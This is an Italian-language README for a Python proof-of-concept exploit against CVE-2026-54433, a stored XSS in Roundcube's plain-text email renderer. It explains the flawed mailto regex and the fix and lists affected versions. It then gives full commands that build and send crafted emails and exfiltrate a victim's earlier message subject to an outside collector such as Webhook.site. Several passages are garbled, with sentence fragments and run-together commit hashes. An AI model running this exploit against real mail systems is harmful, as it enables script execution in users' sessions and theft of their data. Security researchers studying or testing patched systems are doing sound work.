
PoC Python configurabile per CVE-2026-54433, uno XSS persistente nel renderer di email in testo semplice di Roundcube. Genera file .eml appositamente realizzati, li invia tramite SMTP e valida l'impatto in un lab Docker.

Questo repository contiene una prova di concetto Python configurabile per
CVE-2026-54433, una vulnerabilità di cross-site scripting memorizzato nel
renderer di email in testo semplice di Roundcube. Un mittente non autenticato
può consegnare un messaggio text/plain appositamente craftato. Quando un
utente Roundcube autenticato apre o anteprima il messaggio, JavaScript
controllato dall'attaccante viene eseguito nell'origine di Roundcube.
La PoC dimostra un impatto concreto su una sessione autenticata senza raccogliere cookie o corpi dei messaggi: legge l'oggetto di un messaggio precedente e invia quel valore, l'origine Roundcube e il nome dell'attività a un collector autorizzato come campi POST codificati in URL.
Avviso
Questo è codice di exploit attivo. Usalo solo in un laboratorio di tua proprietà o contro un sistema e una casella di posta che sei esplicitamente autorizzato a testare. La modalità di invio trasmette un'email craftata e può divulgare un oggetto preesistente al collector. Usa
--generate-onlyper l'ispezione offline.
Roundcube converte gli indirizzi trovati nei messaggi in testo semplice in link
mailto: cliccabili. Nelle versioni affette, il suffisso di query opzionale
veniva associato con \S+:
. '(\?\S+)?'
Poiché \S include < e >, una stringa che inizia come un indirizzo email
potrebbe far consumare alla sostituzione automatica dei link un tag HTML di
apertura, lasciando il resto da interpretare come markup. Questa forma minima
illustra il primitivo:
[email protected]?]
La correzione a monte restringe il suffisso di query in modo che non possa contenere parentesi angolari o spazi bianchi:
. '(\?[^<>\s]+)?'
Il fornitore descrive il problema come "zero-click" perché non è richiesto alcun clic su un link. Aprire o visualizzare in anteprima l'email mentre si è autenticati è comunque l'azione del client di posta che renderizza il payload.
| Riga di rilascio | Stato |
|---|---|
| Versioni di Roundcube precedenti alla 1.6.17 | Affette |
| Roundcube 1.6.17 e successive 1.6.x | Corrette |
| Roundcube 1.7.0 e 1.7.1 | Affette |
| Roundcube 1.7.2 e successive | Corrette |
I commit di correzione pubblici sono:
5477e979aae0317e111564bfc9971ba7707cc1654c278f4868c67b163567cae3d74e58d872913459Esegui l'aggiornamento a Roundcube 1.6.17 / 1.7.2 o a una release supportata più recente.
text/plain.src relativo
che fallisce per invocare onerror. Un callback verso il collector richiede
comunque la raggiungibilità di rete del browser.HttpOnly. Questa PoC non
tenta di leggerlo. La sua richiesta same-origin utilizza automaticamente la
sessione autenticata e l'oggetto del messaggio separato è la prova
dell'impatto.Il risultato dimostrato è l'esecuzione di JavaScript autenticato e l'accesso in lettura all'oggetto di una email precedente. Il furto dell'account, il furto arbitrario del corpo dei messaggi e l'esecuzione di codice lato server non sono rivendicati da questo repository.
cve-2026-54433-poc.py è autonomo e usa solo la libreria standard di Python.
Esso:
text/plain ordinaria RFC 5322 craftata;CVE-2026-54433;subject, origin e task a /capture/<random-marker>;Il payload inserisce il commento DOM:
<!-- This is a BugBounty test; only one subject is copied as evidence -->
Nasconde inoltre il frammento di indirizzo con link automatico e l'indicatore di immagine rotta, mostrando il corpo benigno fornito dal chiamante.
Genera l'email senza effettuare una connessione di rete:
python3 cve-2026-54433-poc.py \
--from [email protected] \
--to [email protected] \
--subject 'Account access problem' \
--body "Hi, I'm having trouble with my account, can you help me? My username is @abugpro. Thank you very much." \
--collector https://collector.example.test \
--generate-only
Questo scrive:
cve-2026-54433-trigger.emlcve-2026-54433-evidence.jsonIspeziona il messaggio generato prima di usare la modalità di invio.
Il valore --collector può essere un UUID di Webhook.site, un URL di capture
o un URL #!/view/. Lo script deriva gli endpoint di cattura e polling.
python3 cve-2026-54433-poc.py \
--from [email protected] \
--to [email protected] \
--subject 'Account access problem' \
--body "Hi, I'm having trouble with my account, can you help me? My username is @abugpro. Thank you very much." \
--collector 'https://webhook.site/#!/view/REPLACE-WITH-UUID' \
--smtp-host smtp.example.com \
--smtp-port 587 \
--smtp-security starttls \
--smtp-user [email protected]
Se SMTP_PASSWORD è assente, lo script chiede la password senza mostrarla o
memorizzarla. È possibile selezionare una variabile con nome diverso usando
--smtp-password-env NAME. Evita --smtp-password sui sistemi multiutente
perché gli argomenti della riga di comando possono essere visibili negli
elenchi dei processi o nella cronologia della shell.
Lo script chiede un YES esplicito prima di inviare. Nell'automazione di
laboratorio non interattiva e già autorizzata, passa --yes. Attende fino a
24 ore per un callback per impostazione predefinita; usa --timeout SECONDS
per modificare questo comportamento.
Per un collector diverso da Webhook.site, passa la base di cattura e l'endpoint di stato JSON opzionale:
python3 cve-2026-54433-poc.py \
--from [email protected] \
--to [email protected] \
--subject 'Authorized XSS test' \
--collector https://collector.example.test \
--poll-url https://collector.example.test/status \
--smtp-host mail.example.test \
--smtp-security starttls
Il collector.py incluso implementa gli endpoint compatibili
/capture/<marker> e /status. Per impostazione predefinita si lega al
loopback. La distribuzione HTTPS reale e il controllo degli accessi sono
lasciati intenzionalmente al tester autorizzato.